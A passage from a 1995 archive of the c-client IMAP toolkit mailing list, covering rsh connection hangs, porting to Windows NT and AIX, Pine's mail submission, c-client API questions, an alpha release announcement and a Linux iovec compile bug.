in the readme file. I think there are one in the on-line help > as well. But unfortunately not in the about panel. > > Is the statement above concerning the about panel a "strict" requirement? I believe that what you have done is quite satisfactory. Don't worry. From pinedev@shivax2.cac.washington.edu Tue Aug 15 08:48:48 1995 -0700 Return-Path: Received: from mx1.cac.washington.edu by shivams.cac.washington.edu (5.65+UW95.07/UW-NDC Revision: 2.33 ) id AA21889; Tue, 15 Aug 95 08:48:48 -0700 Received: by mx1.cac.washington.edu (5.65+UW95.07/UW-NDC Revision: 2.33 ) id AA24539; Tue, 15 Aug 95 08:48:28 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from [141.118.1.25] by mx1.cac.washington.edu (5.65+UW95.07/UW-NDC Revision: 2.33 ) id AA24533; Tue, 15 Aug 95 08:48:24 -0700 Received: from winpc3.2.22.198.in-addr.arpa by isasun-1.edm.isac.ca with smtp (Smail3.1.28.1 #1) id m0siO9E-000ctVC; Tue, 15 Aug 95 09:43 MDT From: Joel King Reply-To: John Gardiner Myers To: c-client@CAC.Washington.EDU Cc: IMAP Interest List Subject: Re: Make imap work without "rsh" In-Reply-To: Message-Id: Date: Tue, 15 Aug 1995 09:43:21 -0600 (MDT) Priority: NORMAL X-Mailer: Simeon for Windows X-Authentication: none Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII While the rsh mechanism is indeed specific to the c-client implementation, the interoperability problem (slow or hanging connections) does tend to affect the entire IMAP community. It apparently wasn't clear in my last message that I'm not criticizing c-client for using rsh per se. A lot of people, including every single unix vendor I know, ship systems with the "loaded gun" known as rsh. I personally find that very frustrating, but that's the state of the world. Computer security is a very frustrating field. The problem I have with c-client is that when the rsh service is not available on the server, users frequently get observably poor IMAP service. Granted, the hanging behavior comes from rsh client source code which c-client has practically no control over, but I do think the problem needs to be addressed better by c-client. Possible solutions (in order of decreasing utility) include: * Have c-client open a probe connection to port 514 before attempting to run the rsh command. Skip running rsh if the connection fails. * Make the IMAP-over-rsh client feature be runtime enabled/disabled system-wide. * Provide a simple "I don't do rsh" server which causes rcmd() to fail immediately. On the subject of comparing IP-address-based authentication with plaintext passwords, if you have protected against someone spoofing an IP address, you have in all but extreme cases also protected against them sniffing packets. -- _.John G. Myers Internet: jgm+@CMU.EDU LoseNet: ...!seismo!ihnp4!wiscvm.wisc.edu!give!up From pinedev@shivax2.cac.washington.edu Tue Aug 15 10:09:40 1995 -0700 Return-Path: Received: from mx2.cac.washington.edu by shivams.cac.washington.edu (5.65+UW95.07/UW-NDC Revision: 2.33 ) id AA26325; Tue, 15 Aug 95 10:09:40 -0700 Received: by mx2.cac.washington.edu (5.65+UW95.07/UW-NDC Revision: 2.33 ) id AA27014; Tue, 15 Aug 95 10:09:35 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from isanet-gw.edm.isac.ca by mx2.cac.washington.edu (5.65+UW95.07/UW-NDC Revision: 2.33 ) id AA26992; Tue, 15 Aug 95 10:09:02 -0700 Received: from winpc3.2.22.198.in-addr.arpa by isasun-1.edm.isac.ca with smtp (Smail3.1.28.1 #1) id m0siPPF-000ctSC; Tue, 15 Aug 95 11:04 MDT From: Joel King To: Mike Macgirvin , Paul H Kramer , IMAP Interest List , c-client Interest List , Robert@esys.ca Subject: Oops! Message-Id: Date: Tue, 15 Aug 1995 11:03:59 -0600 (MDT) Priority: NORMAL X-Mailer: Simeon for Windows X-Authentication: none Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII TO all: I apologise! If you received a number of old messages with "Joel King as the sender, please ignore. Those were the result of goofed tests being performed here. joel (jking@esys.ca) From pinedev@shivax2.cac.washington.edu Thu Aug 17 19:01:25 1995 -0700 Return-Path: Received: from mx2.cac.washington.edu by shivams.cac.washington.edu (5.65+UW95.07/UW-NDC Revision: 2.33 ) id AA15011; Thu, 17 Aug 95 19:01:25 -0700 Received: by mx2.cac.washington.edu (5.65+UW95.07/UW-NDC Revision: 2.33 ) id AA22375; Thu, 17 Aug 95 19:01:08 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from wincgw1.winc.ad.jp by mx2.cac.washington.edu (5.65+UW95.07/UW-NDC Revision: 2.33 ) id AA22369; Thu, 17 Aug 95 19:01:04 -0700 Received: by wincgw1.winc.ad.jp (8.6.9+2.4Wb3/4.18:3.7:winc:941125) id LAA11204; Fri, 18 Aug 1995 11:00:56 +0900 Received: (from uucp@localhost) by senri-nc.winc.ad.jp (8.6.9+2.4W/3.3W3-95071713) with UUCP id LAA07047; Fri, 18 Aug 1995 11:00:56 +0900 Received: from ford.airco.co.jp by airco.co.jp (8.6.9+2.4Wb3/3.3W95021020) with SMTP id KAA27569; Fri, 18 Aug 1995 10:29:21 +0900 Received: from ford by ford.airco.co.jp (4.1/6.4J.6) id AA04926; Fri, 18 Aug 95 10:04:21 JST Message-Id: <9508180104.AA04926@ford.airco.co.jp> Date: Fri, 18 Aug 1995 10:04:20 +0900 (JST) From: Mark A Keasling Reply-To: Mark A Keasling Subject: Windows-NT porting To: mrc@cac.washington.edu Cc: c-client@cac.washington.edu Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Hi Mark and All, One of the guys here is starting work on porting the c-client to W-NT. Has this already been done or is someone else currently working on it? -- Mark Keasling AIR Company LTD, 5-31-20 West Senriyama, Suita City, Osaka 565 Japan email: makr@airco.co.jp fone: +1 816 368 6090 fax: +1 816 368 6091 From pinedev@shivax2.cac.washington.edu Tue Aug 22 02:21:20 1995 -0700 Return-Path: Received: from mx2.cac.washington.edu by shivams.cac.washington.edu (5.65+UW95.07/UW-NDC Revision: 2.33 ) id AA16299; Tue, 22 Aug 95 02:21:20 -0700 Received: by mx2.cac.washington.edu (5.65+UW95.07/UW-NDC Revision: 2.33 ) id AA13407; Tue, 22 Aug 95 02:20:37 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from dxmint.cern.ch by mx2.cac.washington.edu (5.65+UW95.07/UW-NDC Revision: 2.33 ) id AA13401; Tue, 22 Aug 95 02:20:29 -0700 Received: from sp050.cern.ch by dxmint.cern.ch id AA16910; Tue, 22 Aug 1995 11:20:20 +0200 Received: by sp050.cern.ch (AIX 3.2/UCB 5.64/4.03) id AA142918; Tue, 22 Aug 1995 11:20:19 +0200 Date: Tue, 22 Aug 1995 11:20:19 +0200 (METDST) From: Philippe Roussel X-Sender: proussel@sp050.cern.ch To: c-client@cac.washington.edu Subject: xlview for AIX3.2 Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII I would like to obtain a makefile for AIX3.2 on IBM RS6000 because it seems not to exist in makefile.{system} in Client directory thanks From pinedev@shivax2.cac.washington.edu Tue Aug 22 08:24:06 1995 -0700 Return-Path: Received: from mx1.cac.washington.edu by shivams.cac.washington.edu (5.65+UW95.07/UW-NDC Revision: 2.33 ) id AA26575; Tue, 22 Aug 95 08:24:06 -0700 Received: by mx1.cac.washington.edu (5.65+UW95.07/UW-NDC Revision: 2.33 ) id AA11830; Tue, 22 Aug 95 08:23:39 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from tomobiki-cho.cac.washington.edu by mx1.cac.washington.edu (5.65+UW95.07/UW-NDC Revision: 2.33 ) id AA11824; Tue, 22 Aug 95 08:23:37 -0700 Received: from localhost by Tomobiki-Cho.CAC.Washington.EDU (NX5.67e/UW-NDC Revision: 2.27.MRC ) id AA10622; Tue, 22 Aug 95 08:22:50 -0700 Date: Tue, 22 Aug 1995 08:21:49 -0700 (PDT) From: Mark Crispin Subject: re: xlview for AIX3.2 To: Philippe Roussel Cc: c-client@cac.washington.edu In-Reply-To: Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII On Tue, 22 Aug 1995 11:20:19 +0200 (METDST), Philippe Roussel wrote: > I would like to obtain a makefile for AIX3.2 on IBM RS6000 because it > seems not to exist in makefile.{system} in Client directory There is no special makefile for AIX 3.2. You use the ordinary makefile. The command to build for AIX 3.2 is "make a32". From pinedev@shivax2.cac.washington.edu Fri Sep 8 06:53:09 1995 -0700 Return-Path: Received: from mx1.cac.washington.edu by shivams.cac.washington.edu (5.65+UW95.08/UW-NDC Revision: 2.33 ) id AA25259; Fri, 8 Sep 95 06:53:09 -0700 Received: by mx1.cac.washington.edu (5.65+UW95.08/UW-NDC Revision: 2.33 ) id AA22509; Fri, 8 Sep 95 06:52:49 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from knuth.mtsu.edu by mx1.cac.washington.edu (5.65+UW95.08/UW-NDC Revision: 2.33 ) id AA22496; Fri, 8 Sep 95 06:52:27 -0700 Received: by knuth.mtsu.edu (Smail3.1.29.1 #14) id m0sr2TW-000D4BC; Fri, 8 Sep 95 07:24 CDT Received: by raider.raider.net (Smail3.1.29.1 #8) id m0sr2UH-000ApzC; Fri, 8 Sep 95 07:24 CDT Message-Id: From: root@raider.raider.net (Mark J. Bailey [HOME]) Subject: X.400 <==> IMAP/C-CLIENT To: imap@cac.washington.edu, c-client@cac.washington.edu Date: Fri, 8 Sep 1995 07:24:52 -0500 (CDT) X-Mailer: ELM [version 2.4 PL21] Content-Type: text Content-Length: 444 hi could some of you on these lists who are X.400 familiar give me some ideas on the components of the X.400 family that functionaly are similar to compenents inside IMAP and C-CLIENT? Things like what X.400 has that is similar to the way IMAP accesses a mail server, etc. I know the most obvious is that IMAP is TCP/IP (currently) and X.400 is OSI (more or less - at least you have to fake it somewhere). Thanks for any comments! Mark From pinedev@shivax2.cac.washington.edu Fri Sep 8 07:39:09 1995 -0700 Return-Path: Received: from mx2.cac.washington.edu by shivams.cac.washington.edu (5.65+UW95.08/UW-NDC Revision: 2.33 ) id AA26395; Fri, 8 Sep 95 07:39:09 -0700 Received: by mx2.cac.washington.edu (5.65+UW95.08/UW-NDC Revision: 2.33 ) id AA26800; Fri, 8 Sep 95 07:38:51 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from sg543689.eng.chrysler.com by mx2.cac.washington.edu (5.65+UW95.08/UW-NDC Revision: 2.33 ) id AA26794; Fri, 8 Sep 95 07:38:49 -0700 Received: from sg5382na.eng.chrysler.com (sg5382na.eng.chrysler.com [152.116.1.30]) by sg543689.eng.chrysler.com (8.6.10/8.6.9) with ESMTP id KAA26563; Fri, 8 Sep 1995 10:38:46 -0400 Received: from clncrdv1.is.chrysler.com ([129.9.241.19]) by sg5382na.eng.chrysler.com (8.6.10/8.6.9) with SMTP id KAA11862; Fri, 8 Sep 1995 10:45:01 -0400 Received: from rgm3 (rgm3.is.chrysler.com) by clncrdv1.is.chrysler.com (4.1/SMI-4.1) id AA14152; Fri, 8 Sep 95 10:48:50 EDT Message-Id: <9509081448.AA14152@clncrdv1.is.chrysler.com> X-Sender: t3125rm@clncrdv1.is.chrysler.com X-Mailer: Windows Eudora Pro Version 2.1.2 Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Date: Fri, 08 Sep 1995 10:37:42 -0400 To: root@raider.raider.net (Mark J. Bailey [HOME]), imap@cac.washington.edu, c-client@cac.washington.edu From: Robert Moskowitz Subject: Re: X.400 <==> IMAP/C-CLIENT At 07:24 AM 9/8/95 -0500, Mark J. Bailey [HOME] wrote: >hi > >could some of you on these lists who are X.400 familiar give me some ideas on >the components of the X.400 family that functionaly are similar to compenents >inside IMAP and C-CLIENT? Things like what X.400 has that is similar to the >way IMAP accesses a mail server, etc. I know the most obvious is that IMAP >is TCP/IP (currently) and X.400 is OSI (more or less - at least you have to >fake it somewhere). Start by viewing IMAP as the RUA protocol... Robert Moskowitz Chrysler Corporation (810) 758-8212 From pinedev@shivax2.cac.washington.edu Fri Sep 8 11:31:15 1995 -0700 Return-Path: Received: from mx1.cac.washington.edu by shivams.cac.washington.edu (5.65+UW95.08/UW-NDC Revision: 2.33 ) id AA07125; Fri, 8 Sep 95 11:31:15 -0700 Received: by mx1.cac.washington.edu (5.65+UW95.08/UW-NDC Revision: 2.33 ) id AA29007; Fri, 8 Sep 95 11:31:11 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from tomobiki-cho.cac.washington.edu by mx1.cac.washington.edu (5.65+UW95.08/UW-NDC Revision: 2.33 ) id AA28987; Fri, 8 Sep 95 11:30:53 -0700 Received: from UW-Gateway.Panda.COM by Tomobiki-Cho.CAC.Washington.EDU (5.65+UW95.02/UW-NDC Revision: 2.27.MRC ) id AA07240; Fri, 8 Sep 95 11:30:47 -0700 Received: from localhost by Ikkoku-Kan.Panda.COM (NX5.67e/UW-NDC/Panda Revision: 2.27.MRC ) id AA07912; Fri, 8 Sep 95 11:30:41 -0700 Date: Fri, 8 Sep 1995 11:28:26 -0700 (PDT) From: Mark Crispin Subject: re: X.400 <==> IMAP/C-CLIENT To: "Mark J. Bailey [HOME]" Cc: imap@cac.washington.edu, c-client@cac.washington.edu In-Reply-To: Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII On Fri, 8 Sep 1995 07:24:52 -0500 (CDT), Mark J. Bailey [HOME] wrote: > could some of you on these lists who are X.400 familiar give me some ideas > on the components of the X.400 family that functionaly are similar to > compenents inside IMAP and C-CLIENT? Things like what X.400 has that is > similar to the way IMAP accesses a mail server, etc. I know the most > obvious is that IMAP is TCP/IP (currently) and X.400 is OSI (more or less - > at least you have to fake it somewhere). I don't think there really is anything in OSI that is similar to IMAP. The closest is probably P7, but that is more like POP3 than IMAP. c-client is just one particular implementation, and it doesn't really belong in a discussion of the protocol. From pinedev@shivax2.cac.washington.edu Tue Sep 19 16:03:37 1995 -0700 Return-Path: Received: from mx2.cac.washington.edu by shivams.cac.washington.edu (5.65+UW95.09/UW-NDC Revision: 2.33 ) id AA06656; Tue, 19 Sep 95 16:03:37 -0700 Received: from shiva1.cac.washington.edu by mx2.cac.washington.edu (5.65+UW95.09/UW-NDC Revision: 2.33 ) id AA17481; Tue, 19 Sep 95 16:03:35 -0700 Received: by shiva1.cac.washington.edu (5.65+UW95.08/UW-NDC Revision: 2.33 ) id AA21267; Tue, 19 Sep 95 16:03:34 -0700 Date: Tue, 19 Sep 1995 16:03:34 -0700 (PDT) From: Stefan Kramer Subject: Gap in archiving of messages: 9/11-9/19/95 Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Because of a technical problem with the archiving script, any messages to this list in the time period between Sep. 11, 1995, late afternoon and Sep. 19, late morning were not archived. Apologies for any inconvenience! -------------------------------------------------------------------- Stefan Kramer skramer@cac.washington.edu Network Information Center University of Washington -------------------------------------------------------------------- From pinedev@shivax2.cac.washington.edu Sat Sep 23 22:55:15 1995 -0700 Return-Path: Received: from mx2.cac.washington.edu by shivams.cac.washington.edu (5.65+UW95.09/UW-NDC Revision: 2.33 ) id AA28129; Sat, 23 Sep 95 22:55:15 -0700 Received: by mx2.cac.washington.edu (5.65+UW95.09/UW-NDC Revision: 2.33 ) id AA21422; Sat, 23 Sep 95 22:49:34 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from knuth.mtsu.edu by mx2.cac.washington.edu (5.65+UW95.09/UW-NDC Revision: 2.33 ) id AA21416; Sat, 23 Sep 95 22:49:32 -0700 Received: by knuth.mtsu.edu (Smail3.1.29.1 #14) id m0swjvY-000CvwC; Sun, 24 Sep 95 01:48 EDT Received: by raider.raider.net (Smail3.1.29.1 #8) id m0swjF1-000AufC; Sun, 24 Sep 95 00:04 CDT Message-Id: From: root@raider.raider.net (Mark J. Bailey [HOME]) Subject: pine submissions To: c-client@cac.washington.edu Date: Sun, 24 Sep 1995 00:04:38 -0500 (CDT) X-Mailer: ELM [version 2.4 PL21] Content-Type: text Content-Length: 964 hello pine people versions of pine on unix that use c-client i know that typically dos-based (and probably a few others) c-client clients use SMTP to submit a message to the IMAP server for further delivery. i know most windows and dos-based pop clients do this as well. but how about unix pine? since most unix hosts that run pine have sendmail (or similar), and since I think I understand that on unix hosts pine will make use of such, when running in imap mode via c-client, does pine send all submissions to the imap server over smtp (via, say, a hand out to sendmail) OR do unix based pine clients call sendmail and leave it to the local host to send it "best way" (ie, direct over smtp to destination)? ie, does pine hand it to sendmail with no mods to the address(es) of the recipients (such as mods that would send to, say, and imap server FIRST much like dos and windows clients do)? is it one way or the other or possibly both? thanks, Mark From pinedev@shivax2.cac.washington.edu Wed Oct 4 13:41:48 1995 -0700 Return-Path: Received: from mx2.cac.washington.edu by shivams.cac.washington.edu (5.65+UW95.09/UW-NDC Revision: 2.33 ) id AA02369; Wed, 4 Oct 95 13:41:48 -0700 Received: by mx2.cac.washington.edu (5.65+UW95.09/UW-NDC Revision: 2.33 ) id AA16600; Wed, 4 Oct 95 13:41:26 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from knuth.mtsu.edu by mx2.cac.washington.edu (5.65+UW95.09/UW-NDC Revision: 2.33 ) id AA16594; Wed, 4 Oct 95 13:41:23 -0700 Received: by knuth.mtsu.edu (Smail3.1.29.1 #14) id m0t0abj-000Cw0C; Wed, 4 Oct 95 16:40 EDT Received: by raider.raider.net (Smail3.1.29.1 #8) id m0t0adh-000DHoC; Wed, 4 Oct 95 15:42 CDT Message-Id: From: root@raider.raider.net (Mark J. Bailey [HOME]) Subject: two things To: c-client@cac.washington.edu Date: Wed, 4 Oct 1995 15:42:04 -0500 (CDT) X-Mailer: ELM [version 2.4 PL21] Content-Type: text Content-Length: 757 hi how do you test for a given mailbox as already being SELECTed (or I should say mail_open()'ed)? just try mail_open() and test return status? also, if I authenticate ONCE during a given session (such as the first mail_open()), will I be forced to authenticate again at any other time if I am using the same IMAP server for the duration of the session? Ie, i assume that if I mail_open() for the first time that mm_login() will be called as I am probably not authenticated. i further assume that subseqent mail_open()'s are preauthenticated (same imap server). what happens if I happen to mail_close() all folders mid-session, then later want to mail_open() another (again, same server)? will I have to deal with mm_login() again? thanks! Mark From pinedev@shivax2.cac.washington.edu Wed Oct 4 14:11:26 1995 -0700 Return-Path: Received: from mx2.cac.washington.edu by shivams.cac.washington.edu (5.65+UW95.09/UW-NDC Revision: 2.33 ) id AA03885; Wed, 4 Oct 95 14:11:26 -0700 Received: by mx2.cac.washington.edu (5.65+UW95.09/UW-NDC Revision: 2.33 ) id AA17308; Wed, 4 Oct 95 14:11:20 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from tomobiki-cho.cac.washington.edu by mx2.cac.washington.edu (5.65+UW95.09/UW-NDC Revision: 2.33 ) id AA17302; Wed, 4 Oct 95 14:11:19 -0700 Received: from localhost by Tomobiki-Cho.CAC.Washington.EDU (5.65+UW95.02/UW-NDC Revision: 2.27.MRC ) id AA00437; Wed, 4 Oct 95 14:11:13 -0700 Date: Wed, 4 Oct 1995 14:03:38 -0700 (PDT) From: Mark Crispin Subject: re: two things To: "Mark J. Bailey [HOME]" Cc: c-client@cac.washington.edu In-Reply-To: Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII On Wed, 4 Oct 1995 15:42:04 -0500 (CDT), Mark J. Bailey [HOME] wrote: > how do you test for a given mailbox as already being SELECTed (or I should > say mail_open()'ed)? just try mail_open() and test return status? No, you have to keep track of it in your application. There is no guarantee of what will happen if you open a folder that is already open in the same application. Sometimes it will work, sometimes it will give you restricted access (e.g. expunge not available) in both streams, sometimes it will cause a "kiss of death" (SIGUSR2) signal to be sent to your application. > also, if I authenticate ONCE during a given session (such as the first > mail_open()), will I be forced to authenticate again at any other time > if I am using the same IMAP server for the duration of the session? Ie, > i assume that if I mail_open() for the first time that mm_login() will be > called as I am probably not authenticated. i further assume that subseqent > mail_open()'s are preauthenticated (same imap server). what happens if > I happen to mail_close() all folders mid-session, then later want to > mail_open() another (again, same server)? will I have to deal with > mm_login() again? Remember, c-client is stateless. If you open a stream, and you use that stream as the oldstream argument to mail_open() to open another folder, if the host name matches it is quite likely that it will just issue another IMAP SELECT operation and thus you won't need to authenticate. Note that doing this has the effect of closing whatever folder you had open on oldstream. If, on the other hand, c-client decides that it needs a new IMAP connection, or if you don't give it an oldstream argument, it will make a fresh connection which will need fresh authentication. Pre-authentication happens only when you open a new server connection; if you can do "rsh server /etc/rimapd" and get back a "* PREAUTH" it will use the pipes to the rsh as an IMAP connection instead of opening a TCP connection to port 143. Pre-authentication is not relevant to what you are asking. So yes, you will have to deal with mm_login(). If you want any memory of authentication credentials, you have to implement it yourself in your application, and deal with whatever security risks you may have by leaving authentication credentials lying around. From pinedev@shivax2.cac.washington.edu Thu Oct 5 06:23:07 1995 -0700 Return-Path: Received: from mx1.cac.washington.edu by shivams.cac.washington.edu (5.65+UW95.10/UW-NDC Revision: 2.33 ) id AA06310; Thu, 5 Oct 95 06:23:07 -0700 Received: by mx1.cac.washington.edu (5.65+UW95.10/UW-NDC Revision: 2.33 ) id AA05639; Thu, 5 Oct 95 06:22:41 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from knuth.mtsu.edu by mx1.cac.washington.edu (5.65+UW95.10/UW-NDC Revision: 2.33 ) id AA05633; Thu, 5 Oct 95 06:22:39 -0700 Received: by knuth.mtsu.edu (Smail3.1.29.1 #14) id m0t0qEd-000CyRC; Thu, 5 Oct 95 09:21 EDT Received: by raider.raider.net (Smail3.1.29.1 #8) id m0t0qGg-000D46C; Thu, 5 Oct 95 08:23 CDT Message-Id: From: mjb@raider.jobsoft.com (Mark J. Bailey [RAIDER]) X-Mailer: SCO OpenServer Mail Release 5.0 To: c-client@cac.washington.edu Subject: another question Date: Thu, 5 Oct 95 8:23:22 CDT hi working my way along here.... can someone please explain how mail_append() and mail_append_full() work? In particular, I am not for sure how the message STRING is supposed to be formatted. Ie, I am guessing that it is the '( () () )' stuff (?). Are there facilities in C-CLIENT to take a message and format it so for you? my interest here is this. I am working with a mail message saved in a text file on my local user space (unix hosts by the way). anyway, this message is much like that that might be written to by ELM in save-message-to file type operation. It has the complete RFC-822 header and the full message text. Now, I want to "load" this file into my c-client code and then store this "local" message to an IMAP folder. i know mail_append() is involved. but i am needing to know some of the other issues surrounding my desired function. thanks very much Mark From pinedev@shivax2.cac.washington.edu Tue Oct 10 17:31:18 1995 -0700 Return-Path: Received: from mx1.cac.washington.edu by shivams.cac.washington.edu (5.65+UW95.10/UW-NDC Revision: 2.33 ) id AA05937; Tue, 10 Oct 95 17:31:18 -0700 Received: by mx1.cac.washington.edu (5.65+UW95.10/UW-NDC Revision: 2.33 ) id AA22942; Tue, 10 Oct 95 17:30:46 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from shiva2.cac.washington.edu by mx1.cac.washington.edu (5.65+UW95.10/UW-NDC Revision: 2.33 ) id AA22936; Tue, 10 Oct 95 17:30:44 -0700 Received: from localhost by shiva2.cac.washington.edu (5.65+UW95.10/UW-NDC Revision: 2.33 ) id AA08009; Tue, 10 Oct 95 17:30:41 -0700 Date: Tue, 10 Oct 1995 17:30:39 -0700 (PDT) From: David L Miller To: "Mark J. Bailey [HOME]" Cc: Mark Crispin , Pine Team , c-client@cac.washington.edu Subject: Re: pine submissions In-Reply-To: Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII The default for Unix Pine is to use the local sendmail program, but it will make an SMTP connection directly if you set smtp-server in the Setup/Config. Note that the IMAP and SMTP services are completely independent and are not necessarily handled by the same machine. |\ | |\/| David L. Miller dlm@cac.washington.edu (206) 685-6240 |/ |_ | | Software Engineer, Pine Development Team (206) 685-4045 (FAX) University of Washington, Networks & Distributed Computing, JE-20 4545 15th Ave NE, Seattle WA 98105, USA On Sun, 24 Sep 1995, Mark J. Bailey [HOME] wrote: > Date: Sun, 24 Sep 1995 00:04:38 -0500 (CDT) > From: Mark J. Bailey [HOME] > To: c-client@cac.washington.edu > Subject: pine submissions > > hello > > pine people > > versions of pine on unix that use c-client > > i know that typically dos-based (and probably a few others) c-client clients > use SMTP to submit a message to the IMAP server for further delivery. i > know most windows and dos-based pop clients do this as well. > > but how about unix pine? since most unix hosts that run pine have sendmail > (or similar), and since I think I understand that on unix hosts pine will make > use of such, when running in imap mode via c-client, does pine send all > submissions to the imap server over smtp (via, say, a hand out to sendmail) > OR do unix based pine clients call sendmail and leave it to the local host > to send it "best way" (ie, direct over smtp to destination)? ie, does pine > hand it to sendmail with no mods to the address(es) of the recipients (such > as mods that would send to, say, and imap server FIRST much like dos and > windows clients do)? is it one way or the other or possibly both? > > thanks, > > Mark > > > From pinedev@shivax2.cac.washington.edu Thu Oct 12 19:56:49 1995 -0700 Return-Path: Received: from mx1.cac.washington.edu by shivams.cac.washington.edu (5.65+UW95.10/UW-NDC Revision: 2.33 ) id AA21189; Thu, 12 Oct 95 19:56:49 -0700 Received: by mx1.cac.washington.edu (5.65+UW95.10/UW-NDC Revision: 2.33 ) id AA24663; Thu, 12 Oct 95 19:56:04 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from tomobiki-cho.cac.washington.edu by mx1.cac.washington.edu (5.65+UW95.10/UW-NDC Revision: 2.33 ) id AA24657; Thu, 12 Oct 95 19:56:03 -0700 Received: from localhost by Tomobiki-Cho.CAC.Washington.EDU (5.65+UW95.02/UW-NDC Revision: 2.27.MRC ) id AA10981; Thu, 12 Oct 95 19:56:00 -0700 Date: Thu, 12 Oct 1995 19:48:55 -0700 (PDT) From: Mark Crispin Subject: MAJOR new alpha release of imap-4 toolkit To: IMAP Interest List , c-client Interest List Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII ftp://ftp.cac.washington.edu/mail/imap-4.ALPHA.tar.Z has many changes and bugfixes. Included is a first glimpse of the new mbx driver, an as-yet incomplete driver based upon tenex format, but with sticky UIDs, more expansion flags, and automatic keywords (this last isn't there yet). It is also the first alpha release of the Windows NT port, hot off my fingers. c-client, imapd, ipop2d, and ipop3d all build for NT. Supported local file drivers on NT exist for Unix mbox, tenex, and mtx (tenex with CRLF newlines) formats. If you want to try the NT code, you should also get my NT Internet listener program from ftp://ftp.cac.washington.edu/mail/nt/inetlisn.tar so you can have then listening as servers. As usual, this is alpha test code, hot off my fingers, so expect to find bugs. From pinedev@shivax2.cac.washington.edu Tue Oct 17 14:45:48 1995 -0700 Return-Path: Received: from mx2.cac.washington.edu by shivams.cac.washington.edu (5.65+UW95.10/UW-NDC Revision: 2.33 ) id AA01243; Tue, 17 Oct 95 14:45:48 -0700 Received: by mx2.cac.washington.edu (5.65+UW95.10/UW-NDC Revision: 2.33 ) id AA24227; Tue, 17 Oct 95 14:45:32 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from Bacall.ARIS.Com by mx2.cac.washington.edu (5.65+UW95.10/UW-NDC Revision: 2.33 ) id AA24221; Tue, 17 Oct 95 14:45:30 -0700 Received: (from simmons@localhost) by bacall.aris.com (8.6.9/8.6.9) id QAA08660; Tue, 17 Oct 1995 16:45:14 -0500 Date: Tue, 17 Oct 1995 16:45:14 -0500 (CDT) From: David Simmons To: c-client@cac.washington.edu Subject: c-client & iovec references Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII The newer (experimental) versions of the Linux kernel provide a /usr/include/linux/uio.h header file which defines the struct iovec. The iov_base element of this struct is typed "void *". Previously, linux typed this element as __ptr_t, supposedly incorrectly, because the c-client OS dependency file os_lnx.h claims this is incorrect, and defines it otherwise to be of type "caddr_t". This conflicts with the new kernel, which references linux/uio.h from other files. I fixed it by putting an "#include/uio.h" in the os_lnx.h and commenting out the iovec definition. This isn't a good fix, because this would prevent c-client from being compiled under the older release kernels. Enough of the linux woes; on to the more general problem. There is a bit of code at several points in the c-client toolkit that causes problems: if ((iov[j].iov_base)[iov[j].iov_len - 2] == '\n') ... With the linux's "void *" type for iov_base, and perhaps other operating systems as well, this expression causes the compiler to attempt to dereference "void *" and use a type "void" in a comparison. This causes an error. Casting iov[j].iov_base to (char *) results in a correct expression, regardless of whether iov_base is "void *", "__ptr_t", or "caddr_t". Maybe this cast should be added to the c-client code... The problem currently manifests itself in bezerk.c (lines 885 and 1748) and mmdf.c (lines 858 and 1693); line numbers reflect the IMAP4-ALPHA release of the toolkit. Any ideas? (I'm assuming this is the correct forum to discuss c-client development issues...) -- David Simmons, simmons@aris.com Internet Consultant, Aris Technology, Inc. Visit my home page! http://www.aris.com/~simmons/ From pinedev@shivax2.cac.washington.edu Tue Oct 17 15:15:59 1995 -0700 Return-Path: Received: from mx2.cac.washington.edu by shivams.cac.washington.edu (5.65+UW95.10/UW-NDC Revision: 2.33 ) id AA02820; Tue, 17 Oct 95 15:15:59 -0700 Received: by mx2.cac.washington.edu (5.65+UW95.10/UW-NDC Revision: 2.33 ) id AA25010; Tue, 17 Oct 95 15:15:54 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from tomobiki-cho.cac.washington.edu by mx2.cac.washington.edu (5.65+UW95.10/UW-NDC Revision: 2.33 ) id AA25004; Tue, 17 Oct 95 15:15:53 -0700 Received: from localhost by Tomobiki-Cho.CAC.Washington.EDU (5.65+UW95.02/UW-NDC Revision: 2.27.MRC ) id AA08156; Tue, 17 Oct 95 15:15:46 -0700 Date: Tue, 17 Oct 1995 14:51:14 -0700 (PDT) From: Mark Crispin Subject: re: c-client & iovec references To: David Simmons Cc: 